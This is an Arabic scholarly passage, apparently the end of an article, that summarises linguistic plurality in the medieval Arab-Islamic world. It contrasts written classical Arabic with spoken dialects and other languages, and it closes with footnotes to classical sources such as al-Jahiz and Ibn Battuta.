1- هناك تمايز ما بين المكتوب الذي غلبت عليه اللغة العربية الفصحى إلا في حالات نادرة كما في المناطق الفارسية، وما بين الشفهي الذي عرف تعددا وتنوعا خصوصا بعد ظهور اللهجات في اللغة العربية نفسها؛

2- التأثير المتبادل للثقافات المتجاورة والتي وصل إليها المد العربي- الإسلامي، الشيء الذي انعكس في مجال اللغة؛

3- المفارقة ما بين لغة الثقافة والدين ولغة التفاعل اليومي، فالأولى تستعمل فيها اللغة العربية الفصحى والثانية تغلب فيها اللغات المختلفة واللهجات؛

4- العالم العربي- الإسلامي رغم هيمنة اللغة العربية على مفاصيل الدولة والإدارة وارتباطها بالحقل الديني فقط ظل هناك هامشا كبيرا للغات المختلفة للتداول وللمجتمعات المغايرة أن تعبر بلهجاتها ولغاتها، خصوصا في الأمور الاقتصادية التجارية.

ولكن يظل هناك سؤال محوري، هل هذا التعدد فرضته الضرورة الاجتماعية- الاقتصادية أم نتيجة روح التسامح وتقبل الأخر في الثقافة العربية- الإسلامية ؟

1- حركات إبراهيم، المجتمع الإسلامي والسلطة في العصر الوسيط، ص 40.

2-الجاحظ ، البيان والتبيين، 1، 172.

3- باذل دافدنصن، إفريقيا، 282.

4- حركات إبراهيم، نفس المرجع السابق، ص 43.

5- الحميرين الروض المعطار. مادة توزستان.

6- الاصطخري، ص 112، 121. ياقوت، مادة كردز، خوارزم.

7- الجاحظ، البيان والتبيين، 1، 278.

8- ابن بطوطة، رحلة1، 199.